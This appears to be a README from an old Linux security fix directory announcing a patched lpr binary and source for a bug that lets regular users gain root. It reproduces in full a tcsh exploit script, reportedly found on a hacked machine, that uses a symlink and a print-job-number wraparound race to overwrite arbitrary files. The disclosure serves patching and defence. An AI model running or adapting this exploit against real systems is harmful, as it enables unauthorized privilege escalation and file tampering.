ALL current versions of lpr on all distributions have a bug that can give a regular user root access very easily. The file "lpr" in this fix directory has this bug fixed, and should be copied to /usr/bin/lpr (owned by root, group lp, mode 6755) The file "lpr.c" is the patched source file, that should be copied to /usr/src/usr.sbin/lpd-5.12/lpr/lpr.c. The following is a script demonstrating the hole that was found on a hacked machine. -------------------------------------------------------------------- #!/bin/tcsh -f # # Usage: lcp from-file to-file # if ($#argv != 2) then echo Usage: lcp from-file to-file exit 1 endif # This link stuff allows us to overwrite unreadable files, # should we want to. echo x > /tmp/.tmp.$$ lpr -q -s /tmp/.tmp.$$ rm -f /tmp/.tmp.$$ # lpr's accepted it, point it ln -s $2 /tmp/.tmp.$$ # to where we really want @ s = 0 while ( $s != 999) # loop 999 times lpr /nofile >&/dev/null # spin the job number till it wraps! @ s++ if ( $s % 10 == 0 ) echo -n . end lpr $1 # write source file over old data file # user becomes owner rm -f /tmp/.tmp.$$ exit 0